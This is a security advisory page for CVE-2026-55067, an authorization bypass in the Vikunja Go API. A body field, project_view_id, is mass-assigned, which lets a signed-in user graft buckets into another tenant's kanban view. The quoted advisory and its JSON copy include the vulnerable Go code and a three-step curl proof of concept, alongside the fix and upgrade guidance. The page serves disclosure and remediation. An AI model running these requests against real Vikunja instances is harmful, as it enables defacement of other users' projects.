CVE-2026-55067: Code.vikunja.io/api Vikunja Vulnerable To Authenticated Cross-tenant Vulnerability

MODERATE
Advisory Identifier: GHSA-569v-q83c-3j3g
CVSS 5.0
CWE-639
Published
Advisory Summary

CVE-2026-55067 is a MODERATE (CVSS 5.0) vikunja vulnerable to authenticated cross-tenant vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment. Remediation is available by upgrading affected packages to version 2.4.0.

CVE-2026-55067 at a Glance

CVE Identifier CVE-2026-55067
GHSA Identifier GHSA-569v-q83c-3j3g
Severity MODERATE
CVSS v3.1 Base Score 5.0
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-55067

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.4.0
Upgrade code.vikunja.io/api to 2.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55067, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`. This vulnerability was found using an LLM, and manually verified against latest (2.3.0). ## Vulnerable code `pkg/models/kanban.go` (lines 348-359): ```go func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) { _, err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "project_view_id", // mass-assigned from the request body ). Update(b) return } ``` `Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through. ## Proof of Concept **Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`. **Step 1:** Attacker creates a fresh bucket in their own project. ```bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' # Returns: 7 ``` **Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks. ```bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}' # Returns: { # "id": 7, # "title": "PWNED BUCKET", # "project_view_id": 4 # } ``` **Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker. ```bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]' # Returns: [ # {"id":7,"title":"PWNED BUCKET","created_by":"attacker"}, # {"id":1,"title":"To-Do","created_by":"victim"}, # {"id":2,"title":"Doing","created_by":"victim"}, # {"id":3,"title":"Done","created_by":"victim"} # ] ``` After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration. ## Impact Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement. ## Fix In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.

CVE-2026-55067 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.4.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
< 2.4.0
2.4.0

References

Frequently Asked Questions

What is CVE-2026-55067?
CVE-2026-55067 is a security vulnerability in Code.vikunja.io/api involving Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.4.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-55067?
Upgrading to 2.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.4.0. Upgrade your dependency to 2.4.0 or later.
What is the CVSS score of CVE-2026-55067?
CVE-2026-55067 has a CVSS v3.1 base score of 5.0 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with CVE-2026-55067?
CVE-2026-55067 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Go dependencies for CVE-2026-55067?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-569v-q83c-3j3g",
  "modified" : "2026-08-28T16:55:16Z",
  "published" : "2026-08-28T16:55:16Z",
  "aliases" : [ "CVE-2026-55067" ],
  "summary" : "Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment",
  "details" : "## Summary\n\n`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`.\n\nThis vulnerability was found using an LLM, and manually verified against latest (2.3.0).\n\n## Vulnerable code\n\n`pkg/models/kanban.go` (lines 348-359):\n\n```go\nfunc (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ?\", b.ID).\n        Cols(\n            \"title\",\n            \"limit\",\n            \"position\",\n            \"project_view_id\",   // mass-assigned from the request body\n        ).\n        Update(b)\n    return\n}\n```\n\n`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through.\n\n## Proof of Concept\n\n**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`.\n\n**Step 1:** Attacker creates a fresh bucket in their own project.\n\n```bash\ncurl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \\\n  -H 'Authorization: Bearer <attacker_token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"title\":\"PWNED BUCKET\"}' | jq '.id'\n# Returns: 7\n```\n\n**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks.\n\n```bash\ncurl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \\\n  -H 'Authorization: Bearer <attacker_token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"title\":\"PWNED BUCKET\",\"limit\":0,\"project_view_id\":4}' | jq '{id,title,project_view_id}'\n# Returns: {\n#   \"id\": 7,\n#   \"title\": \"PWNED BUCKET\",\n#   \"project_view_id\": 4\n# }\n```\n\n**Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.\n\n```bash\ncurl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \\\n  -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'\n# Returns: [\n#   {\"id\":7,\"title\":\"PWNED BUCKET\",\"created_by\":\"attacker\"},\n#   {\"id\":1,\"title\":\"To-Do\",\"created_by\":\"victim\"},\n#   {\"id\":2,\"title\":\"Doing\",\"created_by\":\"victim\"},\n#   {\"id\":3,\"title\":\"Done\",\"created_by\":\"victim\"}\n# ]\n```\n\nAfter relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration.\n\n## Impact\n\nAny signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.\n\n## Fix\n\nIn `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate \"move bucket between views\" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-569v-q83c-3j3g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/3239"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/b31d606b8879ebe98fbb2ac5d8b3066b86f59868"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:55:16Z",
    "nvd_published_at" : null
  }
}